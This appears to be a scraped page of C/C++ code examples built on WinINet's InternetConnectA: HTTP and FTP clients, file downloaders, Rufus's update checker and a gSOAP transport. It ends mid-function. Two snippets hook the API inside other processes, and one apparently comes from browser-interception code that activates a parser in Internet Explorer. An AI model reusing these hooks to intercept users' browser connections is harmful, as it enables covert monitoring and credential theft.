Exemple #1
0
int UpStatusFb(string paramId, string paramMessage, string paramToken)
{
	HINTERNET hopen, hconnect, hrequest;
	string accesstoken = paramToken;
	int n = accesstoken.size();
	string version = "/v2.1";
	string id = paramId;
	string edge ="/comments";
	char chUrlRequset [400];
	string urlRequest = version+"/"+id+edge+"?"+accesstoken;
	String2Char(urlRequest,chUrlRequset);

	char headers[]="Content-Type: application/x-www-form-urlencoded";
	char formdata[300];
	String2Char("message="+paramMessage,formdata);
	

	hopen = InternetOpenA("HTTPGET",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
	hconnect = InternetConnectA(hopen,GRAPH_FB,INTERNET_DEFAULT_HTTPS_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,0,0);
	hrequest= HttpOpenRequestA(hconnect,"POST",chUrlRequset,"HTTP/1.1",NULL, NULL,INTERNET_FLAG_SECURE , 0);
	if(HttpSendRequestA(hrequest,headers,strlen(headers),formdata,strlen(formdata))) {
		//printf("Success\n");
	}
	InternetCloseHandle(hrequest);
	InternetCloseHandle(hconnect);
	InternetCloseHandle(hopen);
	return 1;
	

}
BOOL DownloadWebPagePostA(std::string& page, HINTERNET hInternet, LPCSTR url, LPCSTR postData)
{
	TRACEST(_T("DownloadWebPagePostA"), CA2CT(url));
	BOOL bRet = FALSE;
	URL_COMPONENTSA comp;
	memset(&comp, 0, sizeof(URL_COMPONENTSA));
	comp.dwStructSize = sizeof(URL_COMPONENTSA);
	CHAR hostName[100], URI[100];
	comp.dwHostNameLength = comp.dwUrlPathLength = 100;
	comp.lpszHostName = hostName;
	comp.lpszUrlPath = URI;
	if (InternetCrackUrlA(url, 0, ICU_ESCAPE, &comp))
	{
		HINTERNET hConnection = InternetConnectA(hInternet, 
			comp.lpszHostName, 
			comp.nPort, 
			NULL, 
			NULL, 
			INTERNET_SERVICE_HTTP, 
			INTERNET_FLAG_KEEP_CONNECTION, 
			0);
		if (hConnection)
		{
			LPCSTR sAcceptTypes[] = {"*/*",NULL};
			HINTERNET hRequest=::HttpOpenRequestA(hConnection,
				"POST", // HTTP Verb
				comp.lpszUrlPath, // Object Name
				HTTP_VERSIONA, // Version
				NULL, // Reference
				sAcceptTypes, // Accept Type
				INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_FORMS_SUBMIT,
				0); // context call-back point
			if(hRequest)
			{
				static LPCSTR sHttpAccept = "Accept: */*\r\n";
				::HttpAddRequestHeadersA(hRequest, sHttpAccept, (DWORD)strlen(sHttpAccept), HTTP_ADDREQ_FLAG_ADD_IF_NEW);

				static LPCSTR szContentType = "Content-Type: application/x-www-form-urlencoded\r\n";
				if(::HttpSendRequestA(hRequest,	szContentType, (DWORD)strlen(szContentType), (LPVOID)postData, (DWORD)strlen(postData)))
					bRet = ReadInternetFile2StringA(hRequest, page);
				else
					HandleInternetError(_T("DownloadWebPagePostA. HttpSendRequestA"));
				InternetCloseHandle(hRequest);

			}
			else
				HandleInternetError(_T("DownloadWebPagePostA. HttpOpenRequestA"));
			InternetCloseHandle(hConnection);

		}
		else
			HandleInternetError(_T("DownloadWebPagePostA. InternetConnectA"));
	}
	else
		HandleInternetError(_T("DownloadWebPagePostA. InternetCrackUrlA"));
	return bRet;
}
Exemple #3
0
// Theese two functions are used to obtain user agent string from a browser and to activate the Parser.
HINTERNET WINAPI my_InternetConnectA(HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUsername, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext)
{
	HINTERNET hConnection;
	ENTER_HOOK();

	hConnection = InternetConnectA(hInternet, lpszServerName, nServerPort, lpszUsername, lpszPassword, dwService, dwFlags, dwContext);
	if (hConnection && !g_UserAgentStr)
		IeActivateParser(hInternet);

	LEAVE_HOOK();
	return(hConnection);
}
Exemple #4
0
HINTERNET WINAPI _InternetConnectA(HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUsername, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext) {
	HINTERNET ret;
	/*__asm {
		int 3;
	}*/

	sprintf(msg, "_InternetConnectA - %s", lpszServerName);
	OutputDebugStringA(msg);
	
	UnHookAPI("InternetConnectA", "wininet.dll", _InternetConA);
	ret = InternetConnectA(hInternet, lpszServerName, nServerPort, lpszUsername, lpszPassword, dwService, dwFlags, dwContext);
	_InternetConA = HookAPI("InternetConnectA", "wininet.dll", (DWORD) _InternetConnectA);
	return ret;
}
Exemple #5
0
// Connect to server
bool FtpClient::connect(const string & url, const string & username, const string & password)
{

	// Close current connection
	if (mConnected) 
		close();

	// Get a handle on the Internet
	mInternetHnd = InternetOpenA("FtpClient", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
	if (mInternetHnd == NULL)
	{

		// Report error and break
		OutputDebugStringA("Unable to connect to Internet:\n");
		showError();
		return false;

	}

	// Establish FTP connection
	mFtpHnd = InternetConnectA(mInternetHnd, url.c_str(), INTERNET_DEFAULT_FTP_PORT, username.c_str(), password.c_str(), INTERNET_SERVICE_FTP, INTERNET_FLAG_EXISTING_CONNECT | INTERNET_FLAG_PASSIVE, 0x00000000);
	if (mFtpHnd == NULL)
	{

		// Report error, close, and break
		OutputDebugStringA("Unable to connect to FTP server:\n");
		showError();
		close();
		return false;

	}

	// Set connection flag
	mConnected = true;
	OutputDebugStringA("FTP connection established\n");

	// Return to stop thread
	return true;

}
bool HttpSnaffle::Open(const std::string& userAgent, const std::string& serverName, int port)
{
    CloseHandles();

    myServerName = serverName;
    myUserAgent = userAgent;

    myInet = InternetOpenA(userAgent.c_str(),
                           INTERNET_OPEN_TYPE_PRECONFIG, "", "", 0);
    if (myInet == NULL)
        return false;

    myServerConnection = InternetConnectA(myInet, serverName.c_str(),
                                          port, "", "",
                                          INTERNET_SERVICE_HTTP, 0,
                                          myContext);

    if (myServerConnection == NULL)
        return false;

    return true;
}
Exemple #7
0
/*
 * Background thread to check for updates
 */
static DWORD WINAPI CheckForUpdatesThread(LPVOID param)
{
	BOOL releases_only, found_new_version = FALSE;
	int status = 0;
	const char* server_url = RUFUS_URL "/";
	int i, j, k, verbose = 0, verpos[4];
	static const char* archname[] = {"win_x86", "win_x64"};
	static const char* channel[] = {"release", "beta"};		// release channel
	const char* accept_types[] = {"*/*\0", NULL};
	DWORD dwFlags, dwSize, dwDownloaded, dwTotalSize, dwStatus;
	char* buf = NULL;
	char agent[64], hostname[64], urlpath[128], mime[32];
	OSVERSIONINFOA os_version = {sizeof(OSVERSIONINFOA), 0, 0, 0, 0, ""};
	HINTERNET hSession = NULL, hConnection = NULL, hRequest = NULL;
	URL_COMPONENTSA UrlParts = {sizeof(URL_COMPONENTSA), NULL, 1, (INTERNET_SCHEME)0,
		hostname, sizeof(hostname), 0, NULL, 1, urlpath, sizeof(urlpath), NULL, 1};
	SYSTEMTIME ServerTime, LocalTime;
	FILETIME FileTime;
	int64_t local_time = 0, reg_time, server_time, update_interval;

	update_check_in_progress = TRUE;
	verbose = ReadRegistryKey32(REGKEY_HKCU, REGKEY_VERBOSE_UPDATES);
	// Without this the FileDialog will produce error 0x8001010E when compiled for Vista or later
	IGNORE_RETVAL(CoInitializeEx(NULL, COINIT_APARTMENTTHREADED));
	// Unless the update was forced, wait a while before performing the update check
	if (!force_update_check) {
		// It would of course be a lot nicer to use a timer and wake the thread, but my
		// development time is limited and this is FASTER to implement.
		do {
			for (i=0; (i<30) && (!force_update_check); i++)
				Sleep(500);
		} while ((!force_update_check) && ((iso_op_in_progress || format_op_in_progress || (dialog_showing>0))));
		if (!force_update_check) {
			if ((ReadRegistryKey32(REGKEY_HKCU, REGKEY_UPDATE_INTERVAL) == -1)) {
				vuprintf("Check for updates disabled, as per registry settings.\n");
				goto out;
			}
			reg_time = ReadRegistryKey64(REGKEY_HKCU, REGKEY_LAST_UPDATE);
			update_interval = (int64_t)ReadRegistryKey32(REGKEY_HKCU, REGKEY_UPDATE_INTERVAL);
			if (update_interval == 0) {
				WriteRegistryKey32(REGKEY_HKCU, REGKEY_UPDATE_INTERVAL, DEFAULT_UPDATE_INTERVAL);
				update_interval = DEFAULT_UPDATE_INTERVAL;
			}
			GetSystemTime(&LocalTime);
			if (!SystemTimeToFileTime(&LocalTime, &FileTime))
				goto out;
			local_time = ((((int64_t)FileTime.dwHighDateTime)<<32) + FileTime.dwLowDateTime) / 10000000;
			vvuprintf("Local time: %" PRId64 "\n", local_time);
			if (local_time < reg_time + update_interval) {
				vuprintf("Next update check in %" PRId64 " seconds.\n", reg_time + update_interval - local_time);
				goto out;
			}
		}
	}

	PrintStatus(3000, TRUE, MSG_243);
	status++;	// 1

	if (!GetVersionExA(&os_version)) {
		uprintf("Could not read Windows version - Check for updates cancelled.\n");
		goto out;
	}

	if ((!InternetCrackUrlA(server_url, (DWORD)safe_strlen(server_url), 0, &UrlParts)) || (!InternetGetConnectedState(&dwFlags, 0)))
		goto out;
	hostname[sizeof(hostname)-1] = 0;

	safe_sprintf(agent, ARRAYSIZE(agent), APPLICATION_NAME "/%d.%d.%d.%d", rufus_version[0], rufus_version[1], rufus_version[2], rufus_version[3]);
	hSession = InternetOpenA(agent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	if (hSession == NULL)
		goto out;
	hConnection = InternetConnectA(hSession, UrlParts.lpszHostName, UrlParts.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD_PTR)NULL);
	if (hConnection == NULL)
		goto out;

	status++;	// 2
	releases_only = !GetRegistryKeyBool(REGKEY_HKCU, REGKEY_INCLUDE_BETAS);

	for (k=0; (k<(releases_only?1:(int)ARRAYSIZE(channel))) && (!found_new_version); k++) {
		uprintf("Checking %s channel...\n", channel[k]);
		// At this stage we can query the server for various update version files.
		// We first try to lookup for "<appname>_<os_arch>_<os_version_major>_<os_version_minor>.ver"
		// and then remove each each of the <os_> components until we find our match. For instance, we may first
		// look for rufus_win_x64_6.2.ver (Win8 x64) but only get a match for rufus_win_x64_6.ver (Vista x64 or later)
		// This allows sunsetting OS versions (eg XP) or providing different downloads for different archs/groups.
		safe_sprintf(urlpath, sizeof(urlpath), "%s%s%s_%s_%d.%d.ver", APPLICATION_NAME, (k==0)?"":"_",
			(k==0)?"":channel[k], archname[is_x64()?1:0], os_version.dwMajorVersion, os_version.dwMinorVersion);
		vuprintf("Base update check: %s\n", urlpath);
		for (i=0, j=(int)safe_strlen(urlpath)-5; (j>0)&&(i<ARRAYSIZE(verpos)); j--) {
			if ((urlpath[j] == '.') || (urlpath[j] == '_')) {
				verpos[i++] = j;
			}
		}
		if (i != ARRAYSIZE(verpos)) {
			uprintf("Broken code in CheckForUpdatesThread()!\n");
			goto out;
		}

		UrlParts.lpszUrlPath = urlpath;
		UrlParts.dwUrlPathLength = sizeof(urlpath);
		for (i=0; i<ARRAYSIZE(verpos); i++) {
			vvuprintf("Trying %s\n", UrlParts.lpszUrlPath);
			hRequest = HttpOpenRequestA(hConnection, "GET", UrlParts.lpszUrlPath, NULL, NULL, accept_types,
				INTERNET_FLAG_HYPERLINK|INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP|INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS|INTERNET_FLAG_NO_COOKIES|
				INTERNET_FLAG_NO_UI|INTERNET_FLAG_NO_CACHE_WRITE, (DWORD_PTR)NULL);
			if ((hRequest == NULL) || (!HttpSendRequestA(hRequest, NULL, 0, NULL, 0)))
				goto out;

			// Ensure that we get a text file
			dwSize = sizeof(dwStatus);
			dwStatus = 404;
			HttpQueryInfoA(hRequest, HTTP_QUERY_STATUS_CODE|HTTP_QUERY_FLAG_NUMBER, (LPVOID)&dwStatus, &dwSize, NULL);
			if (dwStatus == 200) 
				break;
			InternetCloseHandle(hRequest);
			hRequest = NULL;
			safe_strcpy(&urlpath[verpos[i]], 5, ".ver");
		}
		if (dwStatus != 200) {
			vuprintf("Could not find a %s version file on server %s", channel[k], server_url);
			if ((releases_only) || (k+1 >= ARRAYSIZE(channel)))
				goto out;
			continue;
		}
		vuprintf("Found match for %s on server %s", urlpath, server_url);

		dwSize = sizeof(mime);
		HttpQueryInfoA(hRequest, HTTP_QUERY_CONTENT_TYPE, (LPVOID)&mime, &dwSize, NULL);
		if (strcmp(mime, "text/plain") != 0)
			goto out;

		// We also get a date from Apache, which we'll use to avoid out of sync check,
		// in case some set their clock way into the future and back.
		// On the other hand, if local clock is set way back in the past, we will never check.
		dwSize = sizeof(ServerTime);
		// If we can't get a date we can trust, don't bother...
		if ( (!HttpQueryInfoA(hRequest, HTTP_QUERY_DATE|HTTP_QUERY_FLAG_SYSTEMTIME, (LPVOID)&ServerTime, &dwSize, NULL))
			|| (!SystemTimeToFileTime(&ServerTime, &FileTime)) )
			goto out;
		server_time = ((((int64_t)FileTime.dwHighDateTime)<<32) + FileTime.dwLowDateTime) / 10000000;
		vvuprintf("Server time: %" PRId64 "\n", server_time);
		// Always store the server response time - the only clock we trust!
		WriteRegistryKey64(REGKEY_HKCU, REGKEY_LAST_UPDATE, server_time);
		// Might as well let the user know
		if (!force_update_check) {
			if ((local_time > server_time + 600) || (local_time < server_time - 600)) {
				uprintf("IMPORTANT: Your local clock is more than 10 minutes in the %s. Unless you fix this, " APPLICATION_NAME " may not be able to check for updates...", 
					(local_time > server_time + 600)?"future":"past");
			}
		}

		dwSize = sizeof(dwTotalSize);
		if (!HttpQueryInfoA(hRequest, HTTP_QUERY_CONTENT_LENGTH|HTTP_QUERY_FLAG_NUMBER, (LPVOID)&dwTotalSize, &dwSize, NULL))
			goto out;

		safe_free(buf);
		// Make sure the file is NUL terminated
		buf = (char*)calloc(dwTotalSize+1, 1);
		if (buf == NULL) goto out;
		// This is a version file - we should be able to gulp it down in one go
		if (!InternetReadFile(hRequest, buf, dwTotalSize, &dwDownloaded) || (dwDownloaded != dwTotalSize))
			goto out;

		status++;
		vuprintf("Successfully downloaded version file (%d bytes)\n", dwTotalSize);

		parse_update(buf, dwTotalSize+1);

		vuprintf("UPDATE DATA:\n");
		vuprintf("  version: %d.%d.%d.%d (%s)\n", update.version[0], update.version[1], 
			update.version[2], update.version[3], channel[k]);
		vuprintf("  platform_min: %d.%d\n", update.platform_min[0], update.platform_min[1]);
		vuprintf("  url: %s\n", update.download_url);

		found_new_version = ((to_uint64_t(update.version) > to_uint64_t(rufus_version)) || (force_update))
			&& ( (os_version.dwMajorVersion > update.platform_min[0])
			  || ( (os_version.dwMajorVersion == update.platform_min[0]) && (os_version.dwMinorVersion >= update.platform_min[1])) );
		uprintf("N%sew %s version found%c\n", found_new_version?"":"o n", channel[k], found_new_version?'!':'.');
	}

out:
	safe_free(buf);
	if (hRequest) InternetCloseHandle(hRequest);
	if (hConnection) InternetCloseHandle(hConnection);
	if (hSession) InternetCloseHandle(hSession);
	switch(status) {
	case 1:
		PrintStatus(3000, TRUE, MSG_244);
		break;
	case 2:
		PrintStatus(3000, TRUE, MSG_245);
		break;
	case 3:
	case 4:
		PrintStatus(3000, FALSE, found_new_version?MSG_246:MSG_247);
	default:
		break;
	}
	// Start the new download after cleanup
	if (found_new_version) {
		// User may have started an operation while we were checking
		while ((!force_update_check) && (iso_op_in_progress || format_op_in_progress || (dialog_showing>0))) {
			Sleep(15000);
		}
		DownloadNewVersion();
	}
	force_update_check = FALSE;
	update_check_in_progress = FALSE;
	ExitThread(0);
}
Exemple #8
0
/* 
 * Download a file from an URL
 * Mostly taken from http://support.microsoft.com/kb/234913
 * If hProgressDialog is not NULL, this function will send INIT and EXIT messages
 * to the dialog in question, with WPARAM being set to nonzero for EXIT on success
 * and also attempt to indicate progress using an IDC_PROGRESS control
 */
DWORD DownloadFile(const char* url, const char* file, HWND hProgressDialog)
{
	HWND hProgressBar = NULL;
	BOOL r = FALSE;
	DWORD dwFlags, dwSize, dwDownloaded, dwTotalSize, dwStatus;
	FILE* fd = NULL; 
	LONG progress_style;
	const char* accept_types[] = {"*/*\0", NULL};
	unsigned char buf[DOWNLOAD_BUFFER_SIZE];
	char agent[64], hostname[64], urlpath[128];
	HINTERNET hSession = NULL, hConnection = NULL, hRequest = NULL;
	URL_COMPONENTSA UrlParts = {sizeof(URL_COMPONENTSA), NULL, 1, (INTERNET_SCHEME)0,
		hostname, sizeof(hostname), 0, NULL, 1, urlpath, sizeof(urlpath), NULL, 1};
	size_t last_slash;
	int i;

	if (hProgressDialog != NULL) {
		// Use the progress control provided, if any
		hProgressBar = GetDlgItem(hProgressDialog, IDC_PROGRESS);
		if (hProgressBar != NULL) {
			progress_style = GetWindowLong(hProgressBar, GWL_STYLE);
			SetWindowLong(hProgressBar, GWL_STYLE, progress_style & (~PBS_MARQUEE));
			SendMessage(hProgressBar, PBM_SETPOS, 0, 0);
		}
		SendMessage(hProgressDialog, UM_ISO_INIT, 0, 0);
	}

	for (last_slash = safe_strlen(file); last_slash != 0; last_slash--) {
		if ((file[last_slash] == '/') || (file[last_slash] == '\\')) {
			last_slash++;
			break;
		}
	}

	PrintStatus(0, FALSE, MSG_240, &file[last_slash]);
	uprintf("Downloading '%s' from %s\n", &file[last_slash], url);

	if (!InternetCrackUrlA(url, (DWORD)safe_strlen(url), 0, &UrlParts)) {
		uprintf("Unable to decode URL: %s\n", WinInetErrorString());
		goto out;
	}
	hostname[sizeof(hostname)-1] = 0;

	// Open an Internet session
	for (i=5; (i>0) && (!InternetGetConnectedState(&dwFlags, 0)); i--) {
		Sleep(1000);
	}
	if (i <= 0) {
		// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384702.aspx is wrong...
		SetLastError(ERROR_INTERNET_NOT_INITIALIZED);
		uprintf("Network is unavailable: %s\n", WinInetErrorString());
		goto out;
	}
	_snprintf(agent, ARRAYSIZE(agent), APPLICATION_NAME "/%d.%d.%d.%d", rufus_version[0], rufus_version[1], rufus_version[2], rufus_version[3]);
	hSession = InternetOpenA(agent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	if (hSession == NULL) {
		uprintf("Could not open Internet session: %s\n", WinInetErrorString());
		goto out;
	}

	hConnection = InternetConnectA(hSession, UrlParts.lpszHostName, UrlParts.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD_PTR)NULL);
	if (hConnection == NULL) {
		uprintf("Could not connect to server %s:%d: %s\n", UrlParts.lpszHostName, UrlParts.nPort, WinInetErrorString());
		goto out;
	}

	hRequest = HttpOpenRequestA(hConnection, "GET", UrlParts.lpszUrlPath, NULL, NULL, accept_types,
		INTERNET_FLAG_HYPERLINK|INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP|INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS|INTERNET_FLAG_NO_COOKIES|
		INTERNET_FLAG_NO_UI|INTERNET_FLAG_NO_CACHE_WRITE, (DWORD_PTR)NULL);
	if (hRequest == NULL) {
		uprintf("Could not open URL %s: %s\n", url, WinInetErrorString());
		goto out;
	}

	if (!HttpSendRequestA(hRequest, NULL, 0, NULL, 0)) {
		uprintf("Unable to send request: %s\n", WinInetErrorString());
		goto out;
	}

	// Get the file size
	dwSize = sizeof(dwStatus);
	dwStatus = 404;
	HttpQueryInfoA(hRequest, HTTP_QUERY_STATUS_CODE|HTTP_QUERY_FLAG_NUMBER, (LPVOID)&dwStatus, &dwSize, NULL);
	if (dwStatus != 200) {
		error_code = ERROR_INTERNET_ITEM_NOT_FOUND;
		uprintf("Unable to access file: Server status %d\n", dwStatus);
		goto out;
	}
	dwSize = sizeof(dwTotalSize);
	if (!HttpQueryInfoA(hRequest, HTTP_QUERY_CONTENT_LENGTH|HTTP_QUERY_FLAG_NUMBER, (LPVOID)&dwTotalSize, &dwSize, NULL)) {
		uprintf("Unable to retrieve file length: %s\n", WinInetErrorString());
		goto out;
	}
	uprintf("File length: %d bytes\n", dwTotalSize);

	fd = fopenU(file, "wb");
	if (fd == NULL) {
		uprintf("Unable to create file '%s': %s\n", &file[last_slash], WinInetErrorString());
		goto out;
	}

	// Keep checking for data until there is nothing left.
	dwSize = 0;
	while (1) {
		if (IS_ERROR(FormatStatus))
			goto out;

		if (!InternetReadFile(hRequest, buf, sizeof(buf), &dwDownloaded) || (dwDownloaded == 0))
			break;
		dwSize += dwDownloaded;
		SendMessage(hProgressBar, PBM_SETPOS, (WPARAM)(MAX_PROGRESS*((1.0f*dwSize)/(1.0f*dwTotalSize))), 0);
		PrintStatus(0, FALSE, MSG_241, (100.0f*dwSize)/(1.0f*dwTotalSize));
		if (fwrite(buf, 1, dwDownloaded, fd) != dwDownloaded) {
			uprintf("Error writing file '%s': %s\n", &file[last_slash], WinInetErrorString());
			goto out;
		}
	}

	if (dwSize != dwTotalSize) {
		uprintf("Could not download complete file - read: %d bytes, expected: %d bytes\n", dwSize, dwTotalSize);
		FormatStatus = ERROR_SEVERITY_ERROR|FAC(FACILITY_STORAGE)|ERROR_WRITE_FAULT;
		goto out;
	} else {
		r = TRUE;
		uprintf("Successfully downloaded '%s'\n", &file[last_slash]);
	}

out:
	if (hProgressDialog != NULL)
		SendMessage(hProgressDialog, UM_ISO_EXIT, (WPARAM)r, 0);
	if (fd != NULL) fclose(fd);
	if (!r) {
		_unlink(file);
		PrintStatus(0, FALSE, MSG_242);
		SetLastError(error_code);
		MessageBoxU(hMainDialog, IS_ERROR(FormatStatus)?StrError(FormatStatus, FALSE):WinInetErrorString(),
		lmprintf(MSG_044), MB_OK|MB_ICONERROR|MB_IS_RTL);
	}
	if (hRequest) InternetCloseHandle(hRequest);
	if (hConnection) InternetCloseHandle(hConnection);
	if (hSession) InternetCloseHandle(hSession);

	return r?dwSize:0;
}
/* gsoap documentation:
    Called from a client proxy to open a connection to a Web Service located
    at endpoint. Input parameters host and port are micro-parsed from endpoint.
    Should return a valid file descriptor, or SOAP_INVALID_SOCKET and
    soap->error set to an error code. Built-in gSOAP function: tcp_connect
*/
static SOAP_SOCKET
wininet_connect(
    struct soap *   soap,
    const char *    a_pszEndpoint,
    const char *    a_pszHost,
    int             a_nPort )
{
    URL_COMPONENTSA urlComponents;
    char            szUrlPath[MAX_PATH];
    char            szHost[MAX_PATH];
    DWORD           dwFlags;
    HINTERNET       hConnection  = NULL;
    HINTERNET       hHttpRequest = NULL;
    struct wininet_data * pData =
        (struct wininet_data *) soap_lookup_plugin( soap, wininet_id );

    soap->error = SOAP_OK;

    /* we parse the URL ourselves so we don't use these parameters */
    UNUSED_ARG( a_pszHost );
    UNUSED_ARG( a_nPort );

    DBGLOG(TEST, SOAP_MESSAGE(fdebug,
        "wininet %p: connect, endpoint = '%s'\n", soap, a_pszEndpoint ));

    /* we should be initialized but not connected */
    _ASSERTE( pData->hInternet );
    _ASSERTE( !pData->hConnection );
    _ASSERTE( soap->socket == SOAP_INVALID_SOCKET );

    /* parse out the url path */
    memset( &urlComponents, 0, sizeof(urlComponents) );
    urlComponents.dwStructSize = sizeof(urlComponents);
    urlComponents.lpszHostName      = szHost;
    urlComponents.dwHostNameLength  = MAX_PATH;
    urlComponents.lpszUrlPath       = szUrlPath;
    urlComponents.dwUrlPathLength   = MAX_PATH;
    if ( !InternetCrackUrlA( a_pszEndpoint, 0, 0, &urlComponents ) )
    {
        InternetCloseHandle( hConnection );
        soap->error = GetLastError();
        DBGLOG(TEST, SOAP_MESSAGE(fdebug,
            "wininet %p: connect, error %d (%s) in InternetCrackUrl\n",
            soap, soap->error, wininet_error_message(soap,soap->error) ));
        return SOAP_INVALID_SOCKET;
    }

    /* connect to the target url, if we haven't connected yet
       or if it was dropped */
    hConnection = InternetConnectA( pData->hInternet,
        szHost, urlComponents.nPort, "", "", INTERNET_SERVICE_HTTP,
        0, (DWORD_PTR) soap );
    if ( !hConnection )
    {
        soap->error = GetLastError();
        DBGLOG(TEST, SOAP_MESSAGE(fdebug,
            "wininet %p: connect, error %d (%s) in InternetConnect\n",
            soap, soap->error, wininet_error_message(soap,soap->error) ));
        return SOAP_INVALID_SOCKET;
    }

    /*
        Note that although we specify HTTP/1.1 for the connection here, the
        actual connection may be HTTP/1.0 depending on the settings in the
        control panel. See the "Internet Options", "HTTP 1.1 settings".
     */
    dwFlags = pData->dwRequestFlags;
    if ( soap->omode & SOAP_IO_KEEPALIVE )
    {
        dwFlags |= INTERNET_FLAG_KEEP_CONNECTION;
    }
    if ( urlComponents.nScheme == INTERNET_SCHEME_HTTPS )
    {
        dwFlags |= INTERNET_FLAG_SECURE;
    }
    hHttpRequest = HttpOpenRequestA(
        hConnection, "POST", szUrlPath, "HTTP/1.1", NULL, NULL,
        dwFlags, (DWORD_PTR) soap );
    if ( !hHttpRequest )
    {
        InternetCloseHandle( hConnection );
        soap->error = GetLastError();
        DBGLOG(TEST, SOAP_MESSAGE(fdebug,
            "wininet %p: connect, error %d (%s) in HttpOpenRequest\n",
            soap, soap->error, wininet_error_message(soap,soap->error) ));
        return SOAP_INVALID_SOCKET;
    }

    /* save the connection handle in our data structure */
    pData->hConnection = hConnection;

    /* return the http request handle as our file descriptor. */
    _ASSERTE( sizeof(soap->socket) >= sizeof(HINTERNET) );
    return (SOAP_SOCKET) hHttpRequest;
}
Exemple #10
0
/*
 * Download a file from an URL
 * Mostly taken from http://support.microsoft.com/kb/234913
 * If hProgressDialog is not NULL, this function will send INIT and EXIT messages
 * to the dialog in question, with WPARAM being set to nonzero for EXIT on success
 * and also attempt to indicate progress using an IDC_PROGRESS control
 */
DWORD DownloadFile(const char* url, const char* file, HWND hProgressDialog)
{
	HWND hProgressBar = NULL;
	BOOL r = FALSE;
	LONG progress_style;
	DWORD dwFlags, dwSize, dwWritten, dwDownloaded, dwTotalSize;
	DWORD DownloadStatus;
	HANDLE hFile = INVALID_HANDLE_VALUE;
	const char* accept_types[] = {"*/*\0", NULL};
	unsigned char buf[DOWNLOAD_BUFFER_SIZE];
	char agent[64], hostname[64], urlpath[128], msg[MAX_PATH];
	HINTERNET hSession = NULL, hConnection = NULL, hRequest = NULL;
	URL_COMPONENTSA UrlParts = {sizeof(URL_COMPONENTSA), NULL, 1, (INTERNET_SCHEME)0,
		hostname, sizeof(hostname), 0, NULL, 1, urlpath, sizeof(urlpath), NULL, 1};
	size_t last_slash;
	int i;

	DownloadStatus = 404;
	if (hProgressDialog != NULL) {
		// Use the progress control provided, if any
		hProgressBar = GetDlgItem(hProgressDialog, IDC_PROGRESS);
		if (hProgressBar != NULL) {
			progress_style = GetWindowLong(hProgressBar, GWL_STYLE);
			SetWindowLong(hProgressBar, GWL_STYLE, progress_style & (~PBS_MARQUEE));
			SendMessage(hProgressBar, PBM_SETPOS, 0, 0);
		}
		SendMessage(hProgressDialog, UM_DOWNLOAD_INIT, 0, 0);
	}

	if (file == NULL)
		goto out;

	for (last_slash = safe_strlen(file); last_slash != 0; last_slash--) {
		if ((file[last_slash] == '/') || (file[last_slash] == '\\')) {
			last_slash++;
			break;
		}
	}

	static_sprintf(msg, "Downloading %s: Connecting...", file);
	print_status(0, FALSE, msg);
	dprintf("Downloading %s from %s\n", file, url);

	if ( (!InternetCrackUrlA(url, (DWORD)safe_strlen(url), 0, &UrlParts))
	  || (UrlParts.lpszHostName == NULL) || (UrlParts.lpszUrlPath == NULL)) {
		dprintf("Unable to decode URL: %s\n", WinInetErrorString());
		goto out;
	}
	hostname[sizeof(hostname)-1] = 0;

	// Open an Internet session
	for (i=5; (i>0) && (!InternetGetConnectedState(&dwFlags, 0)); i--) {
		Sleep(1000);
	}
	if (i <= 0) {
		// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384702.aspx is wrong...
		SetLastError(ERROR_INTERNET_NOT_INITIALIZED);
		dprintf("Network is unavailable: %s\n", WinInetErrorString());
		goto out;
	}
	static_sprintf(agent, APPLICATION_NAME "/%d.%d.%d (Windows NT %d.%d%s)",
		application_version[0], application_version[1], application_version[2],
		nWindowsVersion>>4, nWindowsVersion&0x0F, is_x64()?"; WOW64":"");
	hSession = InternetOpenA(agent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	if (hSession == NULL) {
		dprintf("Could not open Internet session: %s\n", WinInetErrorString());
		goto out;
	}

	hConnection = InternetConnectA(hSession, UrlParts.lpszHostName, UrlParts.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD_PTR)NULL);
	if (hConnection == NULL) {
		dprintf("Could not connect to server %s:%d: %s\n", UrlParts.lpszHostName, UrlParts.nPort, WinInetErrorString());
		goto out;
	}

	hRequest = HttpOpenRequestA(hConnection, "GET", UrlParts.lpszUrlPath, NULL, NULL, accept_types,
		INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP|INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS|
		INTERNET_FLAG_NO_COOKIES|INTERNET_FLAG_NO_UI|INTERNET_FLAG_NO_CACHE_WRITE|INTERNET_FLAG_HYPERLINK|
		((UrlParts.nScheme==INTERNET_SCHEME_HTTPS)?INTERNET_FLAG_SECURE:0), (DWORD_PTR)NULL);
	if (hRequest == NULL) {
		dprintf("Could not open URL %s: %s\n", url, WinInetErrorString());
		goto out;
	}

	if (!HttpSendRequestA(hRequest, NULL, 0, NULL, 0)) {
		dprintf("Unable to send request: %s\n", WinInetErrorString());
		goto out;
	}

	// Get the file size
	dwSize = sizeof(DownloadStatus);
	HttpQueryInfoA(hRequest, HTTP_QUERY_STATUS_CODE|HTTP_QUERY_FLAG_NUMBER, (LPVOID)&DownloadStatus, &dwSize, NULL);
	if (DownloadStatus != 200) {
		error_code = ERROR_SEVERITY_ERROR|ERROR_INTERNET_ITEM_NOT_FOUND;
		dprintf("Unable to access file: %d\n", DownloadStatus);
		goto out;
	}
	dwSize = sizeof(dwTotalSize);
